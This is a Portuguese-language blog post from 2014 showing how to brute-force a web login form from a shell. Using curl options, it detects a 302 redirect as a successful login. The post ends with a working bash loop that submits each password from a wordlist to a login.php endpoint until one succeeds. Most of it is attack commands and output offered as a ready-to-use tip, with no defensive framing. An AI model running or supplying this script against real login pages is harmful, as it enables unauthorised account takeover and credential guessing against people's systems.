segunda-feira, 10 de fevereiro de 2014

Brute-force em aplicações web usando o terminal

Estava pesquisando sobre o curl , e tive a ideia de fazer um brute-force em shell-script, mais como eu ja fiz isso em perl e php resolvi somente testar os comandos. primeiro iremos ver algumas opções de linha de comando do curl:
mmxm@MMxM:~$ curl -h
Usage: curl [options...] <url>
[...]
 -F/--form <name=content> Specify HTTP multipart POST data (H)
[...]
 -o/--output <file> Write output to <file> instead of stdout
[...]
 -s/--silent        Silent mode. Don't output anything
[...]
 -w/--write-out <format> What to output after completion
Ressaltei essas funções pois serão as necessarias para o ataque de brute-force
As opções -s e -o são para não exibirem o conteudo html do request , iremos mandar essa saida de comando para o /dev/null *-* . O comando -F funciona para enviar os parametros atraves de post request,exe:
mmxm@MMxM:~$ curl -F teste=enviando-post localhost/teste.php
enviando-post
mmxm@MMxM:~$ cat /var/www/teste.php
<?php
echo $_POST['teste'];
?>

E por ultimo a opção -w , usaremos essa opção para descobrir o status-code do request , levando em consideração que a maioria dos sistemas de login ,quando se faz o login corretamente, redirecionam para outra pagina (302). exemplo:
mmxm@MMxM:~$ curl -w "%{http_code}" localhost/lol
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /lol was not found on this server.</p>
<hr>
<address>Apache/2.2.16 (Debian) Server at localhost Port 80</address>
</body></html>
404

No final da saida do comando obtemos o numero 404(Not Found) Agora iremos proceder para o ataque de brute-force , primeiro temos que saber quais os nomes dos campos que iremos enviar o post request,exe: LOGIN,PASSWORD,LOG,PASSWD,ETC ... tendo essas informações , iremos transformar a saida do comando em uma variavel , exemplo:
mmxm@MMxM:~$ curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php
302

A saida do comando foi 302 (redirecionamento) , iremos guardar esse saida na variavel "login":
mmxm@MMxM:~$ login=$(curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php)
Agora para  proceder com o ataque de wordlist iremos usar o for para ler um arquivo linha por linha , exemplo:
mmxm@MMxM:~$ for i in `cat /etc/passwd`;do echo $i; done
Nosso comando final ficara assim:
for i in `cat wordlist.txt`
do
login=$(curl -s -o /dev/null -F login=mmxm -F pass=$i -w "%{http_code}" localhost/login.php)
if [ $login '==' "302" ]
then
echo "Password: $i"
break
else
echo "Trying: $i"
fi
done

Pronto vc ja estara fazendo um ataque de brute-force ,atraves de wordlist, usando o terminal , espero que tenham gostado da dica. []'s

Nenhum comentário:

Postar um comentário